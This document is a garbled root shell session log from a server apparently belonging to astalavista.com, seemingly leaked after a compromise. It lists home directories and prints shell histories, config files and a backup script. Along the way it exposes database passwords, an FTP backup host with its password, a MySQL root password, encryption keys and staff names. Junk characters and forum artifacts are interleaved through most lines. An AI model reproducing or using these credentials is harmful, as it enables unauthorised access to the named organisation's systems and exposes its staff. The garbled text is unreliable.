* b% l! f; a7 F( b$ Fsh-3.2# cat /etc/motd# F2 Y. @- V, E9 a
#####################################################
. Y9 T& N! s' }0 }5 b+ d! r u#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #
4 [$ Y4 b: Y p+ e2 B9 r- t# |__| [__ | |__| | |__| | | | [__ | |__| #9 z+ K6 q( n* e& R( z! Y7 k
# | | ___] | | | |___ | | \/ | ___] | | | #( u6 t. B! j& D, J
# #/ l3 v# O$ n# N) n3 ?' ]( H
#####################################################. E1 V5 T7 q$ }
# #2 @' w6 @. [" Y& b
# Admin Contact - 链接标记support@secureservertech.com #
* X1 i' s6 ^+ V& b8 c4 ^8 ?# #
' N) T! a) Y* _; H% C! C) E/ T# Available ShortCuts #
6 X- v/ K+ n( G4 ^! B: f# #
5 y# J5 U/ {4 F) r9 n# nst - list active connections #: a t2 q3 s3 V1 x2 W
# ddos - shows how many times each ip is connected #
. P6 {3 P) n5 Y# ltr - restart the webserver # G" ^1 C2 Q2 C
# phpc - edit the php config file #0 O9 D/ h9 r: R7 i% ?
# htc - edit the webserver configuration file #
) J% m* _* S& `# up - uptime #
4 W1 l' M3 w. o% p8 Y( s% e" H# etd - edit the motd of the day file #
1 \' v0 W/ Y8 [# ]( O# htr - start and restart apache if needed #
+ t+ H8 C" V4 U# syng - shows active SYN_RECV connections #
; |6 i: h3 o0 O% H* z8 }# synd - syn flood blocker - “synd -h” for usage #
% `% V$ M6 w7 A& M# }#####################################################
9 {) H5 y" f, `$ ]2 N; m# NOTES: #4 ^0 L: O5 O: y6 e' D
# Last Upgrade - 12-08-2008 by JF #
2 X) m% M r' j- ?0 W8 s3 P# My.cnf/Mysql Optimization - 1-28-09 #
3 Y* x- K* p! q c# #8 n3 c% u- F0 L
# #' Q* ]1 \' T- D( C! V2 e
# #; }8 A2 G) E5 f/ q4 V9 u
#####################################################2 |6 ^3 B/ a$ G( m
- o$ S. V$ o2 Y" w6 l! m. G
sh-3.2# lastlog | grep -v Never) F$ ?4 m- m2 W6 R. P& V1 V
Username Port From Latest1 E, i# ~( t3 w' l/ b3 d9 _1 t
root pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009- s A7 `: E6 d: Q; F# y
admin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 2008
- F) M! C8 x7 u" y! w: _com pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 2009
' L5 O7 m" P4 I8 |/ t% wastanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009
' C6 @7 L+ y1 U& G
( o1 e" @- J# |( [6 [# qsh-3.2# ls -la1 I* T' e, \4 f! K% R( e% y
total 453376
; `: J* ~! V9 S! d& Bdrwxr-x— 15 root root 4096 Jun 4 08:40 .7 k3 h3 h3 z2 \8 a, G A% e
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
, ^; i' n4 R1 k% ]* C- u7 V& ~) B" x-rw-r–r– 1 root root 2394400 Oct 19 2007 10mbtest.zip7 \6 U- Y- a1 l& G9 B- \
-rw——- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg
9 M2 U4 P$ B/ `1 E4 k; a-rw——- 1 root root 16836 Jun 4 07:21 .bash_history
* }; Z9 n) I$ g+ u! c-rw-r–r– 1 root root 24 Jan 6 2007 .bash_logout
$ H* _. j+ l& Y8 l! ?-rw-r–r– 1 root root 191 Jan 6 2007 .bash_profile, e& I1 M$ D7 @ l9 s' ^
-rw-r–r– 1 root root 176 Jan 6 2007 .bashrc
! n/ B9 w3 \: z5 m-rwx—— 1 root root 1899 Oct 28 2007 bk.sh3 r, n5 x* F7 c) O
-rw-r–r– 1 root root 1327 Nov 29 2007 cert
5 i' u& e( w1 H& G9 T-rw-r–r– 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql" s7 i* a0 N4 l& m* B
drwxr-xr-x 4 root root 4096 May 20 2008 .cpan+ p( e7 R; [2 k" k
-rw-r–r– 1 root root 100 Jan 6 2007 .cshrc
- a8 c. G1 S3 O+ A( g-rw-r–r– 1 root root 323079 Mar 31 13:48 defaultp_ports.sql6 _# s" ], n7 o1 r0 X
drwx—— 2 root root 4096 Oct 28 2007 .elinks
2 V- X ]6 L' Udrwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.15 C! D( H, }, G. l* U
-rw-r–r– 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz2
% N! E; B# x2 W0 I4 k- e-rw——- 1 root root 0 Apr 16 13:19 .history
+ _( l/ \8 g- _: \-rw-r–r– 1 root root 16095 Sep 11 2007 install.log4 ]( w" D; ^$ j% @! ^
-rw-r–r– 1 root root 2566 Sep 11 2007 install.log.syslog: h& F% U/ K4 @3 r# E* Q; C' ~! |
-rw-r–r– 1 root root 1003 Jul 22 2007 install.sh
7 ?1 G4 w3 ^/ W: g+ F2 x! k-rw——- 1 root root 35 Jun 2 14:23 .lesshst
3 S6 v2 @ [$ qdrwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp& a$ ~4 S4 F- k6 p) e
drwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec
! m( n" _* M' A ~-rw-r–r– 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz
0 f i, E" O3 c0 v8 m& }+ e5 U-rw-r–r– 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz2) R$ M0 U. n/ v+ H0 c3 E
-rwx—— 1 root root 760 Sep 18 2008 lp) f, B. s! n' \ c- ]) S
drwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.1& h. \( n8 _" t
-rw-r–r– 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz
: ^% e' L, t- _-rw-r–r– 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1$ O8 ]+ P8 y1 _. x% e7 N
drwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.9# R( D6 O" t" W" { Z1 K& @% l
-rw-r–r– 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz
/ I$ R; T: ~. e4 Q9 w* P- Ndrwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.3
! Q& D- k$ v* q# U& ?-rw-r–r– 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz
2 e: m: Z# m+ M-rw-r–r– 1 root root 25316 Feb 15 2006 mybk.sh7 B& E, v. d9 U6 ^1 Z% o0 T0 b
-rw——- 1 root root 41 Oct 19 2007 .my.cnf
) Z8 D8 c1 V& y$ Q: c-rw——- 1 root root 2902 Jun 4 08:40 .mysql_history. D/ q0 h( n# N
-rwx—— 1 root root 38873 Apr 16 2008 mysqlreport
/ L" {' [8 y0 z: v-rw——- 1 root root 41 May 20 2008 .mytop
! V. a3 s) K' K( B$ Fdrwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.6
% z! { \, y1 p-rw-r–r– 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz
7 q2 ^" |" ~2 F' U+ |/ tdrwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp
- M# N. R$ l9 h" s7 H-rw——- 1 root root 1462 Sep 21 2007 opt.php; z- Q$ q$ R9 a; t" ]+ G
-rw-r–r– 1 root root 3371 Sep 22 2007 p7 F$ D% }% |( ?1 X; p# u
-rw-r–r– 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz2' M# B9 i4 h; S8 Y' g
-rw——- 1 root root 1024 Feb 3 21:32 .rnd8 C* \* R" o4 D$ F
-rw-r–r– 1 root root 716 Nov 28 2007 server.csr
4 ?/ u/ k- z y-rw-r–r– 1 root root 887 Nov 28 2007 server.key' j# I2 b8 b( p# b% l
drwx—— 2 root root 4096 Oct 10 2008 .ssh2 r' Z3 i, F3 y5 i$ ?3 ]1 X6 ^
-rw-r–r– 1 root root 44227 Oct 28 2007 tar-inc-backup.dat
+ |/ `' Y5 W; i7 c& c( z( H9 C-rw-r–r– 1 root root 129 Jan 6 2007 .tcshrc' D6 k7 T j' \4 ]8 s: r
-rw-r–r– 1 root root 104874307 Oct 17 2007 test100.zip
7 u# n7 z3 W$ D% n, J1 F" y8 a-rw-r–r– 1 root root 67085540 Oct 19 2007 test100.zip.1
& m7 r3 r& E3 t. {2 K ?drwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp& K4 u( F% c( r
-rw-r–r– 1 root root 42596 May 21 2007 tuning-primer.sh
: H; w `! T$ ~* ldrwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.0
4 h5 B1 ^! X% m8 u3 S-rw-r–r– 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz2
- E# e9 t& x3 v5 k- _-rw——- 1 root root 12997 May 16 2008 .viminfo
6 I- H* A5 o' E0 E T6 X( |
) Y" ]2 A( m& E* c2 N) @sh-3.2# cat .bash_history$ x8 u" f, G! v
[snip]- u; P# ^8 V$ l
wget cp4sst.com/sstlinux.tar.gz- x) r2 L$ c3 i8 F; a. g2 c
tar zxvf sstlinux.tar.gz
1 T( J, Y6 A) N5 K" icd linux-2.6.27.10
' Z" u6 v' g2 b+ Qsh install.sh9 O* H3 `: Q8 h
make bzImage ; make modules ; make modules_install ; make install( a) y. I! u3 W( c1 l! x+ u
make clean
6 y* l0 u+ t" p" }4 {/ Fservice mysqld restart
( h3 T' _% O9 A6 b5 {% K& i[snip]! s0 l9 l* A7 G) M [
cd /usr/sbin/+ s4 g7 M Y5 [" f! v0 `& {
chmod 4777 traceroute
# L4 W$ d1 j' T8 ^, U5 _) Hchmod 4777 ping
6 b7 {; C) B$ o; V$ q( @traceroute -I 链接标记[url]www.astalavista.ch[/url]3 ]7 R! P2 R9 o+ p5 n: K
[snip]; @0 j' j: c U& \5 y
vi /etc/csf/csf.conf
; B: R) n0 D, Ztraceroute google.ch
5 C% J9 I' U* n5 l5 uservice csf restart
/ W" w& W9 j' P) j' ?) a2 b4 Dtracert google.ch
$ H' F% P4 e8 H+ }; Dservice csf restart
$ F/ O- z( C2 `8 b% U$ {3 [5 b; rtraceroute 链接标记[url]www.google.ch[/url]9 K$ {% B" ?, n7 G! c
tracert 链接标记[url]www.google.ch[/url]
+ m; ?6 M! }& z9 d; V8 a1 \/ Ctraceroute 链接标记[url]www.google.ch[/url]
4 H7 o, r7 I7 n8 ^$ Z. Slocate traceroute- T' P1 J2 {0 r6 Q8 L1 O
chown 4755 /bin/traceroute
4 k9 r% w% A- }; S: F1 k' xchown 4777 /bin/traceroute$ Q8 D, b/ j P' H
locate ping" Z1 ^! O9 g+ J' E$ q8 k. r
chown 4755 /bin/ping
1 U. J, s. L) T( @/ F8 Tchown 4777 /bin/ping
E) p' x) W7 \4 n7 v7 o, lcd /bin/
# C4 y5 z' i+ Y7 ?9 o7 }ls -ali | grep ping
! p2 i+ _5 q% A; l+ ichown root ping
! S3 ^7 N1 G3 [( C9 e& H. Fchmod 4755 ping; Q, k! k- S6 t- S& G
ls -ali | grep traceroute
+ I$ P* q& s# ?4 _7 Q* J: Q) zchown root traceroute+ H0 N( G5 {" s6 j/ u
chmod 4755 traceroute
# U; d& g+ |4 I% Y: \ls -ali | grep traceroute" J8 @- w9 l. p2 s2 l* d
traceroute -I 链接标记[url]www.google.ch[/url]
! a* X. d9 [; Ntraceroute 链接标记[url]www.google.ch[/url]8 e) S! [9 l8 J# d# f
whois pmsantos.ch* }" X0 y% c7 S& p+ E! X
[snip]' I! v; ~3 X. K5 Q7 r X( p
mysql -h com_contrexx2_live < /root/defaultp_ports.sql
! r2 E1 y8 g% p6 h4 c0 lmysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql9 t! u. I f0 ?5 [
mysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql2 \1 A3 A# O* h" F
mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql% l" {. [' D) N0 W
top
7 E' H& k, C' d2 d7 Dping ssth.ch* U' x V0 V% t( i% h' C7 Y. d
ping asdlkfaljgasd???ljg???lasj.ch
* x# _% q; h6 L O; g- Aping asdlkfaljgasdlasj.ch7 o0 U8 C, h# S) F- L. E
ping 链接标记[url]www.ssth.ch[/url]
% ^* }9 z5 K1 q$ l G* m8 Rping ssth.ch
* ~; }1 h7 V5 F8 [5 D( vnslookup 链接标记[url]www.google.ch[/url]/ y$ l1 K0 w& O* x3 K q
nslookup 链接标记[url]www.ssth.ch[/url]
: F9 Q; [: k' Y1 n5 V( x" }man nslookup; W" q2 `% e2 O; k' c- n( h) q/ H" ^3 y
ping 链接标记[url]www.google.ch[/url]' l; K6 t+ V s. F! m. H$ w( ^
nslookup 链接标记[url]www.google.ch[/url] x8 ]/ u/ x$ y* G
nslookup 链接标记[url]www.google.ch[/url]
7 b! I5 @. ]; M* c5 C0 i R5 nnslookup salfjasdlf.ch+ C7 @; v) \! I( l; X: X
[snip]
: z8 s* ]" H) {- @8 p* xopenssl passwd -1 sadf) x, V6 z" b$ E7 l( w( k3 @% V: @
openssl passwd -1 5cZNHstdTy
* P, }. `: U, \9 S: V& ~0 u* ?mysql" g5 g( k; B6 Q8 F
mysql* A a0 M1 q" n3 d$ n- d
locate proftp
5 f/ m9 T: `; f; ]) g# H% E8 Fvi /etc/proftpd.passwd! D6 u6 h7 _/ i- j& S: S/ ]" G
service proftpd restart( o1 R; O1 b& m% n0 c1 m6 m
locate proftpd.conf
! D3 i8 R" h" X; R: vvi /etc/proftpd.conf- a! {/ ~# Z. h- A! i9 G/ R+ Z
vi /etc/proftpd.passwd. X1 m9 }/ V; A8 t4 v( k% D
service proftpd restart( ]; F/ Q3 a& G6 K* d2 I
[snip]
1 Q: C) q7 A) A% U2 Q9 Y/bin/sh /home/com/backup_system/backup.sh5 b% n2 r- m" d$ s/ Z. @
tar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin% ?* Y$ a4 h6 u3 h
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql
, N% j$ C7 S0 c: M# Hmysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql
9 v! r. S3 t3 o4 Wls -ali0 l$ O6 Z+ {/ I2 _: a Z1 h* M) z
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql
) n. P% |6 Q. j& m0 t) fmysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql J8 o! n6 | \" [5 T& v
crontab -l
( Y' ^7 i, x. C! B# o0 ~crontab -l1 x2 b: s: u, k2 r& ?1 b# B. w/ f# n$ r
php -q /home/com/public_html/modifications/cronjobs/securitynews.php' |& u' M' L. V$ P! A3 j& k
/home/com/public_html/modifications/cronjobs/exploits.sh, J' W% { ?1 a
wget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url]( F E# d: h! }: ]8 p" k# z
tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz
' f6 v2 |+ Z, W Mcd lsws-4.0.3
$ B. ]- K3 X0 ]/ u/ Q4 n0 wsh install.sh7 m F5 N* V5 A, E1 V
uptime
* [/ n+ F# M, i5 N2 Khdparm -tt /dev/sda$ E9 m$ L6 K( O- E8 `2 c7 Y) E
iostat
. a5 w5 X' q+ Wyum install iostat
# k, X* Z; h7 X" i5 z' liostat
# W/ M6 G5 u8 W9 iwhereis iostat' ?* N0 E1 y" X
yjm clean all
# H2 b6 z* A8 I9 wyum clean all ; yum -y update
7 V% q4 j: W k- S' B9 e1 }iostat7 K; Z. H( o7 x. e# y; h
yum install systat
- F5 G2 `8 R8 H' i' mrpm -qa | grep iostat
; X, X8 |7 D9 w$ B! p9 \9 }" J2 t1 grpm -qa | grep sysstat
8 ^+ W- j) l6 Z- Prpm -qa | grep systat
7 a* |0 {* e' t1 j: ldmesg -c
7 B7 W9 }2 p) E9 Xsysctl -p
% G v6 n: P5 Auname -r; h" _9 C s& A$ ?
cd /usr/src! T/ p8 h+ @5 D+ E
wget nix101.com/kernels/sstlinux.tar.gz
' Z' z6 _0 T/ J* gshutdown -r now; l# w4 B* a% Z3 x
nano -w /boot/grub/grub.conf
& q/ Z" X- B! w5 S* D% [ M
+ h7 |5 N, Y% u/ E/ dsh-3.2# cat .my.cnf) |: p% Z: G' b9 i& }
[client]. U* y6 d7 u2 ^" D
user=da_admin4 q' c! Z) L# Y M" D2 e* M
password=X9dctmRH
' j+ y4 r) e8 b" Q8 E8 G1 p- U4 j/ R9 m
sh-3.2# cat /home/com/backup_system/backup.sh) O: N6 D8 K* R# W6 Z1 }
#!/bin/sh
/ L- [; a+ u; }9 c#####################################################################& j5 H# g. \2 t! \5 U
# #
- S1 K- Q& U5 V7 n# incremental backup for astalavista.com #
: K; o3 b% [6 e- Q0 i# #
+ Z. k* h8 p( {# author: Paulo M. Santos <链接标记paulo.santos@astalavista.com> #
/ Q: a- T% m7 J, R& R# #0 O* Z) X8 e6 G$ \
#####################################################################) v& c9 C# m: H$ n# l- q
[snip]
2 c' G3 }( r1 f% T/ q! x; JPROG_DIR=”/home/com/backup_system”;
' K( W [: d) W: x5 `& ABACKUP_DIR=”/home/com/backups”;
6 c% y O+ J+ sDOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;: o$ e, ]9 H( `' o" U/ H* |
# ftp for synology backup server
# R% c9 ?( I# u& H3 F- ?FTP_HOST=”212.254.194.163″;- x1 }1 `2 m5 Q- L6 P# a3 x+ f
FTP_PORT=”21″;
# F) {5 s4 M. u( p6 M% \$ m. BFTP_USER=”astalavista.com”;0 r+ V* X, }: P2 ]
FTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;
# B3 S8 B6 S+ Y8 V* D" CFTP_DIR=”/astalavista.com”;
5 B# }4 b+ d) Z# database
5 H& `) @. [9 ^+ z* | f, |: H. lDB_HOST=”localhost”;
$ T: F( V' @" |; o4 t. p! X4 XDB_USER=”contrexxuser2″;
$ V) B! y6 C3 u8 aDB_PASS=”0fEYNZgXz1pKe”;
8 j* _& X8 \9 f( I2 m6 `) y' BDB_DATABASE1=”com_contrexx2_live”;% R9 v) a! \/ R- C3 i+ ]$ a3 k
DB_DATABASE2=”com_contrexx2″;3 e: D+ d( {, Y& _5 E
[snip]
, c4 b" l; T* o# m4 ^$ Z8 u8 N8 Aftp -in $FTP_HOST $FTP_PORT <<EOF( {8 R8 h. Y8 V0 `1 t, |& ~
quote USER $FTP_USER# R% |, l6 G3 G( A
quote PASS $FTP_PASS$ a* L- _3 I8 T* z0 I# _
cd $FTP_DIR
. x1 v4 g8 O- @0 n) b1 i6 U# gput $DB_FULLNAME-SQL_Dump.tar0 b5 j4 f, O3 g6 f N! R
put $BACKUP_FULLNAME-Public_HTML.tar! ~' A; x8 ^, K
close- Q, e- n y1 N1 m) l8 p1 q
bye
3 r; y7 N* O6 L- C. kEOF
0 R0 |9 o/ O/ H! G2 e' R0 U* K: x! V% @8 ~3 y
sh-3.2# cd /home
9 \% Y: k$ p" }" B% R3 h" G" @5 G* }sh-3.2# ls -la1 N" b/ ]! e3 o4 T
total 120
8 T+ p1 r( i9 w! ^2 w! }5 L* Pdrwxr-xr-x 14 root root 4096 Mar 11 17:56 .
/ J& `2 k+ M1 b* U u) ^drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..' M3 L4 m5 G0 Z. }
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin# n. ~7 D' V. q4 E
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group1 @7 @& l5 B0 {" e9 e; W: c2 ^" Q
-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
1 J5 l- F- m% r! q4 I6 E1 f) ]drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet, C7 a2 A4 W7 C; B0 a" U
drwxr-xr-x 2 root root 4096 Jul 29 2008 backup
! [- [- Q! D9 s: k y3 F; J- xdrwxr-xr-x 2 root root 4096 Sep 17 2008 backup.141612 a+ k' f- e" E
drwx–x–x 10 com com 4096 Apr 28 12:40 com
( r) k, I/ {8 [+ W4 ~2 V* fdrwxr-xr-x 2 root root 4096 May 17 2007 ftp
' z% i f) ?% sdrwx—— 3 jon jon 4096 Sep 21 2007 jon: j! o0 J0 o: K+ t. c: O( h" W9 _
drwx—— 2 root root 16384 Sep 11 2007 lost+found
% m# S9 e) ^" N E, v( ]$ [drwxr-xr-x 2 root root 4096 Sep 14 2007 my7 ]) A: |9 |& O! C
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata$ E% }6 b. o9 L P2 b$ V
drwx—— 2 jon jon 4096 Sep 15 2007 test
/ p0 r( N9 K( q! H- Y+ W6 J: Ldrwxrwxrwt 2 root root 4096 Jul 29 2008 tmp3 U( Q. c8 i4 h
, P% I |; {! ~1 s) S4 ?+ a. fsh-3.2# cd admin6 x* s% @5 [" P& E+ G4 F
sh-3.2# ls -la
9 H, V9 |+ O' ]; _+ b6 f9 ytotal 1735896: j! c6 O. ? u
drwx–x–x 9 admin admin 4096 Nov 28 2007 .
( n- u$ B( p7 `3 J4 r, Ldrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..0 N$ L% x. }& P6 A0 ?
drwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups7 s4 _: ]$ r; M! Z$ q) h
drwx—— 2 admin admin 4096 Sep 28 2007 backups
3 N/ Q4 V( \+ E-rw——- 1 admin admin 860 Sep 17 2008 .bash_history* L+ H6 {) ?1 m$ W8 X4 Y& l* c
-rw-r–r– 1 admin admin 24 Sep 14 2007 .bash_logout1 l5 e; ^6 `3 N1 d* r
-rw-r–r– 1 admin admin 176 Sep 14 2007 .bash_profile
, e! p" }) E% x2 P# T-rw-r–r– 1 admin admin 124 Sep 14 2007 .bashrc" J/ e h7 g R% `; V% }
drwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups
$ L: U: }/ z6 m; P# _1 w9 gdrwx–x–x 6 admin admin 4096 Sep 21 2007 domains
& Y* P2 A7 X4 h- R/ {) E1 Z: xdrwxrwx— 3 admin mail 4096 Sep 21 2007 imap
2 U3 o" h$ e! w5 e: W W3 ^-rw-r–r– 1 root root 24 Sep 21 2007 info.php$ h0 ?2 r5 M$ w6 I( n4 K
drwx—— 2 admin admin 4096 Sep 21 2007 mail: f5 j7 X% p0 X) m Q% N6 U
-rw-r–r– 1 root root 716 Nov 28 2007 server.csr
' |# E5 r6 k( I$ G2 {6 K-rw-r–r– 1 root root 887 Nov 28 2007 server.key8 W1 t# A: Y* [5 i0 h& j1 I
-rw-r—– 1 admin mail 34 Sep 14 2007 .shadow; O0 ~) [5 b& X- `- c% L) G) o
-rw-r—– 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz& Z& [- T. J/ y7 H0 t
drwx–x–x 2 admin admin 4096 Jul 29 2008 user_backups
$ f, ?& ?$ k; V6 M7 K2 u
/ x3 T' \! D! C+ C' S" Wsh-3.2# ..
. [, g- x0 |# T! lsh-3.2# cd jon) k7 ~! `9 x) J5 k" `! D
sh-3.2# ls -la
+ j. S+ ~4 K$ ~$ Itotal 36
# h9 K* U& a8 b4 [1 O$ x& Fdrwx—— 3 jon jon 4096 Sep 21 2007 .
K" u: s; [ b5 i, _; }* b7 \drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..8 w7 n" \1 k$ y) C* I
-rw——- 1 jon jon 53 Sep 21 2007 .bash_history y! b, F' z( l% J
-rw-r–r– 1 jon jon 24 Sep 21 2007 .bash_logout' V; Q9 a* r/ X8 f
-rw-r–r– 1 jon jon 176 Sep 21 2007 .bash_profile
7 l& @$ H6 e2 T j# Y- P-rw-r–r– 1 jon jon 124 Sep 21 2007 .bashrc
! `, n( _- p2 a7 `+ X8 D$ n-rw-r–r– 1 root root 24 Sep 21 2007 info.php1 z2 {/ L, l3 E) j0 f! y
drwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html
# {" Y' Y; t0 V# Y; M) i
) v, c0 |) U. e8 j$ wsh-3.2# cd ..' D7 d k7 P: M+ y/ Q
sh-3.2# cd test% K: x h$ B7 h- D( Z0 @& |
sh-3.2# ls -la" R6 \$ X$ N; c" `* G0 H5 a
total 48
' W4 J" Q" ]8 o4 Q% X a3 l! idrwx—— 2 jon jon 4096 Sep 15 2007 .4 [: N" N `/ ~
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..# Z$ G1 T0 O: ]* [+ B( E: m' B& Q
-rw——- 1 jon jon 79 Sep 21 2007 .bash_history
' u4 x, s9 G2 d2 N% |) q1 h-rw-r–r– 1 jon jon 24 Sep 15 2007 .bash_logout
$ O% X, x1 P; A) \! z-rw-r–r– 1 jon jon 176 Sep 15 2007 .bash_profile7 `' [& R: T# {
-rw-r–r– 1 jon jon 124 Sep 15 2007 .bashrc. d/ k) P m0 Y% v! Y: m
sh-3.2# cat .bash_history7 m" H+ R% D3 C& u; ^
/usr/bin/mysqladmin -u root password PoliuJhytg673 ]3 {0 f! L+ o9 U
/ I- z7 X7 `% k5 V J7 W
sh-3.2# cd ..1 u E0 W0 v. A% T
sh-3.2# cd astanet) W) A$ T8 G2 w) _0 G! @& p9 {
sh-3.2# ls -la" G7 N7 `+ t* ^
total 52. W t: O2 u- N' A W) g- l7 \! k% J
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ." v; h/ z1 v: \* D2 n
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..: l' \( T* I; W g
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
# V* @* w4 ]% @& k: h-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history5 p& e0 K" L6 o# }0 P- Z
-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
1 A# b7 j. g/ [- D1 K+ {' h8 e-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile
, X+ m) P7 D: y. [1 H3 d" q-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc3 t$ q8 a% f+ Q$ Y# P8 g# S& I! E
drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
/ M" t& |- D! C* Ddrwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap
. X5 R7 B: `( c1 S' R) idrwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
9 m2 {8 w9 [4 M4 q0 g% |-rw——- 1 astanet astanet 197 Jun 4 09:51 .mysql_history2 _0 X5 G9 D6 W- z) q, m# b
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
3 Q- J+ V" A* A/ r# `-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow
! ] z: r, y, D
+ ` X. i0 W: i2 F. x, @sh-3.2# cd auth/1 j, L; U5 ~4 n, R
sh-3.2# ls -la( Y' p" O: ]6 X: z7 \/ V# \
total 28% h% {0 w: ?+ q) ?
drwxr-xr-x 2 root root 4096 Dec 23 16:00 .
2 Y" @* p( e# jdrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ../ u& M2 g8 {$ n! h( V
-rw-r–r– 1 root root 321 Jan 5 2006 hackercontest.config.inc.php" D7 O* |# o7 ]0 r3 i) Z: W* p
-rw-r–r– 1 root root 319 Jan 5 2006 hosting.config.inc.php% j; u* `6 C9 {
-rw-r–r– 1 root root 24 Jun 4 09:38 .htadm_pwd5 i( i- \6 y3 x& b& M0 X- @
-rw-r–r– 1 root root 49 Jan 5 2006 .htpasswd_newhosting8 E" x7 R. {+ J' r) y5 F
-rw-r–r– 1 root root 51 Oct 11 2006 .htwebalizer_pwd& W$ J1 @9 }& F5 z
5 A( ~' Z7 V8 W" {0 H4 u
sh-3.2# cat hackercontest.config.inc.php5 z* @; t. A% f# R' o; p3 b6 z' N
<?PHP
) D+ z# G6 D2 Q// Variabeln f?r Verbindung zur Datenbank //* n5 ?9 V5 w: F8 k& K
$conxHost = ‘localhost’; // MySQL hostname1 V' I1 S9 S1 n% ~/ c8 g
$conxUser = ‘hackercontest’; // MySQL user6 h/ p; L7 {* I
$conxPassword = ‘K6m@7dUc’; // MySQL password: K& B7 k& o4 J8 ^2 w6 Y* u/ @7 z
$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish9 X! U( H L- [1 V
?>( o0 x% _, [8 D1 @
sh-3.2# cat hosting.config.inc.php0 y, W/ p1 ^& w: I' O; G
<?PHP- i4 }' b' t! v2 s, \
// Variabeln f?r Verbindung zur Datenbank //1 ]8 H: f+ |3 K$ b
$conxHost = ‘localhost’; // MySQL hostname+ c" `: ?- }& |7 a# y
$conxUser = ‘hostinguser’; // MySQL user
6 R" g2 ?1 ~, w0 e7 u. A$conxPassword = ‘cXvB3981′; // MySQL password) G, U# \/ o! L8 d
$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
' x, q! L. Z9 H6 _% w3 N7 Z?>6 E; I& X! [- A% Y v3 `( B9 t
3 K5 \ e/ c4 ]
sh-3.2# cd ..( E1 \7 \1 N0 _/ I0 D
sh-3.2# cd com
; n- ~ U- B3 @* A: W Qsh-3.2# ls -la9 R% ~0 f, j+ F' W4 |: l8 y0 H
total 1412087 A+ y5 b2 H% C, f8 u0 F
drwx–x–x 10 com com 4096 Apr 28 12:40 .
0 x- ], C) K6 I- @drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..& P$ V5 U b' D% y- m3 X
drwx—— 2 com com 4096 Jun 4 04:04 backups( m; d* g( `, i8 {& p
